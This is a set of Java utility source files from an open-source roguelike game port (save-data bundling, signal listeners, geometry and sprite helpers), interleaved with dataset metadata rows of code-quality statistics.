(JSONException e) { Game.reportException(e); } } public void put( String key, Collection<? extends Bundlable> collection ) { JSONArray array = new JSONArray(); for (Bundlable object : collection) { //Skip none-static inner classes as they can't be instantiated through bundle restoring //Classes which make use of none-static inner classes must manage instantiation manually if (object != null) { Class cl = object.getClass(); if ((!Reflection.isMemberClass(cl) || Reflection.isStatic(cl))) { Bundle bundle = new Bundle(); bundle.put(CLASS_NAME, cl.getName()); object.storeInBundle(bundle); array.put(bundle.data); } } } try { data.put( key, array ); } catch (JSONException e) { Game.reportException(e); } } public static Bundle read( InputStream stream ) throws IOException { try { BufferedReader reader; //determines if we're reading a regular, or compressed file PushbackInputStream pb = new PushbackInputStream( stream, 2 ); byte[] header = new byte[2]; pb.unread(header, 0, pb.read(header)); //GZIP header is 0x1f8b if( header[ 0 ] == (byte) 0x1f && header[ 1 ] == (byte) 0x8b ) reader = new BufferedReader( new InputStreamReader( new GZIPInputStream( pb, GZIP_BUFFER ) ) ); else reader = new BufferedReader( new InputStreamReader( pb ) ); JSONObject json = (JSONObject)new JSONTokener( reader.readLine() ).nextValue(); reader.close(); return new Bundle( json ); } catch (Exception e) { Game.reportException(e); throw new IOException(); } } //useful to turn this off for save data debugging. private static final boolean compressByDefault = true; private static final int GZIP_BUFFER = 1024*4; //4 kb public static Bundle read( byte[] bytes ) { try { JSONObject json = (JSONObject)new JSONTokener( new String( bytes ) ).nextValue(); return new Bundle( json ); } catch (JSONException e) { return null; } } public static boolean write( Bundle bundle, OutputStream stream ){ return write(bundle, stream, compressByDefault); } public static boolean write( Bundle bundle, OutputStream stream, boolean compressed ) { try { BufferedWriter writer; if (compressed) writer = new BufferedWriter( new OutputStreamWriter( new GZIPOutputStream(stream, GZIP_BUFFER ) ) ); else writer = new BufferedWriter( new OutputStreamWriter( stream ) ); writer.write( bundle.data.toString() ); writer.close(); return true; } catch (IOException e) { Game.reportException(e); return false; } } public static void addAlias( Class<?> cl, String alias ) { aliases.put( alias, cl.getName() ); } }
11,746
Bundle
java
en
java
code
{"qsc_code_num_words": 1425, "qsc_code_num_chars": 11746.0, "qsc_code_mean_word_length": 5.38596491, "qsc_code_frac_words_unique": 0.17824561, "qsc_code_frac_chars_top_2grams": 0.03635179, "qsc_code_frac_chars_top_3grams": 0.06254072, "qsc_code_frac_chars_top_4grams": 0.06566775, "qsc_code_frac_chars_dupe_5grams": 0.51114007, "qsc_code_frac_chars_dupe_6grams": 0.46306189, "qsc_code_frac_chars_dupe_7grams": 0.42631922, "qsc_code_frac_chars_dupe_8grams": 0.40859935, "qsc_code_frac_chars_dupe_9grams": 0.35869707, "qsc_code_frac_chars_dupe_10grams": 0.35322476, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00566881, "qsc_code_frac_chars_whitespace": 0.21905329, "qsc_code_size_file_byte": 11746.0, "qsc_code_num_lines": 473.0, "qsc_code_num_chars_line_max": 120.0, "qsc_code_num_chars_line_mean": 24.83298097, "qsc_code_frac_chars_alphabet": 0.83102584, "qsc_code_frac_chars_comments": 0.10803678, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.38624339, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00219528, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00076358, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.08994709, "qsc_codejava_score_lines_no_logic": 0.2010582, "qsc_codejava_frac_words_no_modifier": 0.91428571, "qsc_codejava_frac_words_legal_var_name": 0.61111111, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Signal.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import java.util.LinkedList; public class Signal<T> { private LinkedList<Listener<T>> listeners = new LinkedList<Signal.Listener<T>>(); private boolean canceled; private boolean stackMode; public Signal() { this( false ); } public Signal( boolean stackMode ) { this.stackMode = stackMode; } public synchronized void add( Listener<T> listener ) { if (!listeners.contains( listener )) { if (stackMode) { listeners.addFirst( listener ); } else { listeners.addLast( listener ); } } } public synchronized void remove( Listener<T> listener ) { listeners.remove( listener ); } public synchronized void removeAll() { listeners.clear(); } public synchronized void replace( Listener<T> listener ) { removeAll(); add( listener ); } public synchronized int numListeners() { return listeners.size(); } public synchronized void dispatch( T t ) { @SuppressWarnings("unchecked") Listener<T>[] list = listeners.toArray( new Listener[0] ); canceled = false; for (Listener<T> listener : list) { if (listeners.contains(listener)) { listener.onSignal(t); if (canceled) { return; } } } } public void cancel() { canceled = true; } public static interface Listener<T> { public void onSignal( T t ); } }
2,115
Signal
java
en
java
code
{"qsc_code_num_words": 261, "qsc_code_num_chars": 2115.0, "qsc_code_mean_word_length": 5.57854406, "qsc_code_frac_words_unique": 0.47126437, "qsc_code_frac_chars_top_2grams": 0.04945055, "qsc_code_frac_chars_top_3grams": 0.07554945, "qsc_code_frac_chars_top_4grams": 0.03914835, "qsc_code_frac_chars_dupe_5grams": 0.05631868, "qsc_code_frac_chars_dupe_6grams": 0.03846154, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0107849, "qsc_code_frac_chars_whitespace": 0.2108747, "qsc_code_size_file_byte": 2115.0, "qsc_code_num_lines": 94.0, "qsc_code_num_chars_line_max": 83.0, "qsc_code_num_chars_line_mean": 22.5, "qsc_code_frac_chars_alphabet": 0.86159377, "qsc_code_frac_chars_comments": 0.36926714, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00674663, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.03703704, "qsc_codejava_score_lines_no_logic": 0.12962963, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Point.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; public class Point { public int x; public int y; public Point() { } public Point( int x, int y ) { this.x = x; this.y = y; } public Point( Point p ) { this.x = p.x; this.y = p.y; } public Point set( int x, int y ) { this.x = x; this.y = y; return this; } public Point set( Point p ) { x = p.x; y = p.y; return this; } public Point clone() { return new Point( this ); } public Point scale( float f ) { this.x *= f; this.y *= f; return this; } public Point offset( int dx, int dy ) { x += dx; y += dy; return this; } public Point offset( Point d ) { x += d.x; y += d.y; return this; } @Override public boolean equals( Object obj ) { if (obj instanceof Point) { Point p = (Point)obj; return p.x == x && p.y == y; } else { return false; } } }
1,649
Point
java
en
java
code
{"qsc_code_num_words": 258, "qsc_code_num_chars": 1649.0, "qsc_code_mean_word_length": 4.04651163, "qsc_code_frac_words_unique": 0.41472868, "qsc_code_frac_chars_top_2grams": 0.09482759, "qsc_code_frac_chars_top_3grams": 0.07183908, "qsc_code_frac_chars_top_4grams": 0.08045977, "qsc_code_frac_chars_dupe_5grams": 0.20977011, "qsc_code_frac_chars_dupe_6grams": 0.09195402, "qsc_code_frac_chars_dupe_7grams": 0.03831418, "qsc_code_frac_chars_dupe_8grams": 0.03831418, "qsc_code_frac_chars_dupe_9grams": 0.03831418, "qsc_code_frac_chars_dupe_10grams": 0.03831418, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01392301, "qsc_code_frac_chars_whitespace": 0.25955124, "qsc_code_size_file_byte": 1649.0, "qsc_code_num_lines": 85.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 19.4, "qsc_code_frac_chars_alphabet": 0.84111384, "qsc_code_frac_chars_comments": 0.47362038, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17307692, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.13461538, "qsc_codejava_score_lines_no_logic": 0.30769231, "qsc_codejava_frac_words_no_modifier": 0.875, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Highlighter.java
/* * Copyright (C) 2012-2015 Oleg Dolya * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Highlighter { private static final Pattern HIGHLIGHTER = Pattern.compile( "_(.*?)_" ); private static final Pattern STRIPPER = Pattern.compile( "[ \n]" ); public String text; public boolean[] mask; public Highlighter( String text ) { String stripped = STRIPPER.matcher( text ).replaceAll( "" ); mask = new boolean[stripped.length()]; Matcher m = HIGHLIGHTER.matcher( stripped ); int pos = 0; int lastMatch = 0; while (m.find()) { pos += (m.start() - lastMatch); int groupLen = m.group( 1 ).length(); for (int i=pos; i < pos + groupLen; i++) { mask[i] = true; } pos += groupLen; lastMatch = m.end(); } m.reset( text ); StringBuffer sb = new StringBuffer(); while (m.find()) { m.appendReplacement( sb, m.group( 1 ) ); } m.appendTail( sb ); this.text = sb.toString(); } public boolean[] inverted() { boolean[] result = new boolean[mask.length]; for (int i=0; i < result.length; i++) { result[i] = !mask[i]; } return result; } public boolean isHighlighted() { for (int i=0; i < mask.length; i++) { if (mask[i]) { return true; } } return false; } }
1,943
Highlighter
java
en
java
code
{"qsc_code_num_words": 267, "qsc_code_num_chars": 1943.0, "qsc_code_mean_word_length": 4.79775281, "qsc_code_frac_words_unique": 0.45692884, "qsc_code_frac_chars_top_2grams": 0.02576112, "qsc_code_frac_chars_top_3grams": 0.03044496, "qsc_code_frac_chars_top_4grams": 0.04449649, "qsc_code_frac_chars_dupe_5grams": 0.07806401, "qsc_code_frac_chars_dupe_6grams": 0.04371585, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00980392, "qsc_code_frac_chars_whitespace": 0.2125579, "qsc_code_size_file_byte": 1943.0, "qsc_code_num_lines": 77.0, "qsc_code_num_chars_line_max": 74.0, "qsc_code_num_chars_line_mean": 25.23376623, "qsc_code_frac_chars_alphabet": 0.82745098, "qsc_code_frac_chars_comments": 0.35615028, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.04255319, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00958466, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.0212766, "qsc_codejava_score_lines_no_logic": 0.17021277, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/RectF.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; public class RectF { public float left; public float top; public float right; public float bottom; public RectF() { this( 0, 0, 0, 0 ); } public RectF( RectF rect ) { this( rect.left, rect.top, rect.right, rect.bottom ); } public RectF( Rect rect ) { this( rect.left, rect.top, rect.right, rect.bottom ); } public RectF( float left, float top, float right, float bottom ) { this.left = left; this.top = top; this.right = right; this.bottom = bottom; } public float width() { return right - left; } public float height() { return bottom - top; } public float square() { return width() * height(); } public RectF set( float left, float top, float right, float bottom ) { this.left = left; this.top = top; this.right = right; this.bottom = bottom; return this; } public RectF set( Rect rect ) { return set( rect.left, rect.top, rect.right, rect.bottom ); } public RectF setPos( float x, float y ) { return set( x, y, x + (right - left), y + (bottom - top)); } public RectF shift( float x, float y ) { return set( left+x, top+y, right+x, bottom+y ); } public RectF resize( float w, float h ){ return set( left, top, left+w, top+h); } public boolean isEmpty() { return right <= left || bottom <= top; } public RectF setEmpty() { left = right = top = bottom = 0; return this; } public RectF intersect( RectF other ) { RectF result = new RectF(); result.left = Math.max( left, other.left ); result.right = Math.min( right, other.right ); result.top = Math.max( top, other.top ); result.bottom = Math.min( bottom, other.bottom ); return result; } public RectF union( RectF other ){ RectF result = new RectF(); result.left = Math.min( left, other.left ); result.right = Math.max( right, other.right ); result.top = Math.min( top, other.top ); result.bottom = Math.max( bottom, other.bottom ); return result; } public RectF union( float x, float y ) { if (isEmpty()) { return set( x, y, x + 1, y + 1 ); } else { if (x < left) { left = x; } else if (x >= right) { right = x + 1; } if (y < top) { top = y; } else if (y >= bottom) { bottom = y + 1; } return this; } } public RectF union( Point p ) { return union( p.x, p.y ); } public boolean inside( Point p ) { return p.x >= left && p.x < right && p.y >= top && p.y < bottom; } public RectF shrink( float d ) { return new RectF( left + d, top + d, right - d, bottom - d ); } public RectF shrink() { return shrink( 1 ); } }
3,391
RectF
java
en
java
code
{"qsc_code_num_words": 493, "qsc_code_num_chars": 3391.0, "qsc_code_mean_word_length": 4.32657201, "qsc_code_frac_words_unique": 0.24543611, "qsc_code_frac_chars_top_2grams": 0.08251289, "qsc_code_frac_chars_top_3grams": 0.03984998, "qsc_code_frac_chars_top_4grams": 0.02672293, "qsc_code_frac_chars_dupe_5grams": 0.38068448, "qsc_code_frac_chars_dupe_6grams": 0.36146273, "qsc_code_frac_chars_dupe_7grams": 0.23769339, "qsc_code_frac_chars_dupe_8grams": 0.23769339, "qsc_code_frac_chars_dupe_9grams": 0.1954993, "qsc_code_frac_chars_dupe_10grams": 0.1551805, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01054276, "qsc_code_frac_chars_whitespace": 0.24476556, "qsc_code_size_file_byte": 3391.0, "qsc_code_num_lines": 147.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 23.06802721, "qsc_code_frac_chars_alphabet": 0.82233503, "qsc_code_frac_chars_comments": 0.23031554, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.24509804, "qsc_codejava_score_lines_no_logic": 0.34313725, "qsc_codejava_frac_words_no_modifier": 0.65384615, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/BitmapFilm.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.badlogic.gdx.graphics.Pixmap; import com.badlogic.gdx.graphics.Texture; import java.util.HashMap; public class BitmapFilm { public Pixmap bitmap; protected HashMap<Object,Rect> frames = new HashMap<>(); public BitmapFilm( Pixmap bitmap ) { this.bitmap = bitmap; add( null, new Rect( 0, 0, bitmap.getWidth(), bitmap.getHeight() ) ); } public BitmapFilm( Pixmap bitmap, int width ) { this( bitmap, width, bitmap.getHeight() ); } public BitmapFilm( Pixmap bitmap, int width, int height ) { this.bitmap = bitmap; int cols = bitmap.getWidth() / width; int rows = bitmap.getHeight() / height; for (int i=0; i < rows; i++) { for (int j=0; j < cols; j++) { Rect rect = new Rect( j * width, i * height, (j+1) * width, (i+1) * height ); add( i * cols + j, rect ); } } } public void add( Object id, Rect rect ) { frames.put( id, rect ); } public Rect get( Object id ) { return frames.get( id ); } }
1,771
BitmapFilm
java
en
java
code
{"qsc_code_num_words": 256, "qsc_code_num_chars": 1771.0, "qsc_code_mean_word_length": 4.70703125, "qsc_code_frac_words_unique": 0.45703125, "qsc_code_frac_chars_top_2grams": 0.03983402, "qsc_code_frac_chars_top_3grams": 0.03236515, "qsc_code_frac_chars_top_4grams": 0.0473029, "qsc_code_frac_chars_dupe_5grams": 0.19917012, "qsc_code_frac_chars_dupe_6grams": 0.13112033, "qsc_code_frac_chars_dupe_7grams": 0.0846473, "qsc_code_frac_chars_dupe_8grams": 0.0846473, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01642857, "qsc_code_frac_chars_whitespace": 0.20948617, "qsc_code_size_file_byte": 1771.0, "qsc_code_num_lines": 63.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 28.11111111, "qsc_code_frac_chars_alphabet": 0.84428571, "qsc_code_frac_chars_comments": 0.44099379, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0625, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.0625, "qsc_codejava_score_lines_no_logic": 0.21875, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
